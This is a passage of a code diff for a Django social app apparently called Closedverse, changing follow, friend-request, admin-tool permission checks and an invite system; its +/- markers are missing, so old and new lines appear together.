pf2m = User.objects.get(username='PF2M')
except User.DoesNotExist:
pass
else:
if pf2m.is_following(request.user):
pf2m.unfollow(request.user)
user.unfollow(request.user)
return json_response("i'm crying")
user.unfollow(request.user)
return HttpResponse()
followct = request.user.num_following()
return JsonResponse({'following_count': followct})
@require_http_methods(['POST'])
@login_required
def user_friendrequest_create(request, username):
@@ -1361,6 +1377,7 @@ def notifications(request):
def friend_requests(request):
friendrequests = request.user.get_frs_target()
notifs = request.user.notification_count()
request.user.read_fr()
return render(request, 'closedverse_main/friendrequests.html', {
'title': 'My friend requests',
'friendrequests': friendrequests,
@@ -1594,8 +1611,8 @@ def user_tools(request, username):
user = get_object_or_404(User, username__iexact=username)
profile = user.profile()
# check if the requesting user is allowed to change someone
if request.user.has_authority(user):
return HttpResponseForbidden()
if user.has_authority(request.user):
raise Http404()
seen_by = MetaViews.objects.filter(target_user=user).distinct().order_by('-id')[:10]
has_seen = MetaViews.objects.filter(from_user=user).distinct().order_by('-id')[:10]
@@ -1619,13 +1636,13 @@ def user_tools_meta(request, username):
raise Http404()
if not request.user.can_manage():
raise Http404()
if not request.user.level >= settings.min_lvl_metadata_perms or not request.user.is_staff:
return HttpResponseForbidden()
if request.user.level < settings.min_lvl_metadata_perms:
raise Http404()
user = get_object_or_404(User, username__iexact=username)
profile = user.profile()
# check if the requesting user is allowed to view someone
if request.user.has_authority(user):
return HttpResponseForbidden()
if user.has_authority(request.user):
raise Http404()
# get the last time the page was opened
last_opened = MetaViews.objects.filter(target_user=user, from_user=request.user).order_by('-created').first()
@@ -1662,16 +1679,14 @@ def user_tools_meta(request, username):
def user_tools_set(request, username):
if request.method == 'POST':
user = get_object_or_404(User, username__iexact=username)
profile = user.profile()
if not request.user.is_authenticated:
raise Http404()
if not request.user.can_manage():
raise Http404()
if request.user.has_authority(user):
return HttpResponseForbidden()
if user.is_me(request):
return json_response('Using the admin panel, you are able to view your own account, but not edit it.')
user = get_object_or_404(User, username__iexact=username)
profile = user.profile()
if user.has_authority(request.user):
raise Http404()
if request.POST.get('username') == "" or None:
return json_response('Username Invalid')
if not re.compile(r'^[A-Za-z0-9-._]{1,32}$').match(request.POST['username']) or not re.compile(r'[A-Za-z0-9]').match(request.POST['username']):
@@ -1716,6 +1731,35 @@ def user_tools_set(request, username):
else:
raise Http404()
@login_required
def invites(request):
invites_list = Invites.objects.filter(creator=request.user, used=False, void=False)
return render(request, 'closedverse_main/invites.html', {
'title': 'Invites',
'invites': invites_list,
'invite_only': settings.invite_only,
})
def create_invite(request):
if request.method == 'POST':
invite = Invites()
if not request.user.is_authenticated:
return json_response('You are not signed in.')
if not request.user.can_invite:
return json_response('You are not allowed to make new invites.')
if not settings.invite_only:
return json_response('The invite system is offline.')
existing_invites = Invites.objects.filter(creator=request.user, used=False, void=False).count()
if existing_invites >= 4:
return json_response('You already have ' + str(existing_invites) + ' active invites. You cannot create more.')
invite.creator = request.user
invite.code = str(uuid.uuid4())
invite.save()
return HttpResponse()
else:
raise Http404()
@require_http_methods(['POST'])
# Disabling login requirement since it's in signup now. Regret?
#@login_required